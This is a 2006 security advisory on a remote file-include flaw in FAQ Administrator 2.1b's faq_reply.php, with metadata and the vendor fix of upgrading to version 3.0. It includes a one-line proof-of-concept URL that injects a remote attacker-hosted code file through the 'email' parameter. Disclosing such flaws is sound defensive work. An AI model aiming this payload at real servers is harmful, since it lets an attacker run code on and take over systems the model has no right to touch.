FAQ Administrator FAQ_Reply.PHP Remote File Include Vulnerability

Bugtraq ID:	20796
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Oct 30 2006 12:00AM
Updated:	Nov 02 2006 04:12PM
Credit:	v1per-hacker <v1per-hacker[at]hotmail.com> is credited with the discovery of this vulnerability.
Vulnerable:	Faq Administrator Faq Administrator 2.1b
Not Vulnerable:	Faq Administrator Faq Administrator 3.0

FAQ Administrator FAQ_Reply.PHP Remote File Include Vulnerability

Faq Administrator is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Version 2.1b is vulnerable; other versions may also be affected.

FAQ Administrator FAQ_Reply.PHP Remote File Include Vulnerability

An attacker can exploit this issue via a web client.

The following proof of concept is available:

http://www.example.com/path/faq_reply.php?email=http://www.example2.com/EvElCoDe.txt?

FAQ Administrator FAQ_Reply.PHP Remote File Include Vulnerability

Solution:
The vendor has released version 3.0 to address this issue. Please see the references for more information.


Faq Administrator Faq Administrator 2.1b

• Faq Administrator faqadmin-current.tgz
  http://www.campbus.com/downloads/faqadmin/faqadmin-current.tgz

FAQ Administrator FAQ_Reply.PHP Remote File Include Vulnerability

References:

• Faq Administrator Changelog (Faq Administrator)
  
• Homepage (Faq Administrator)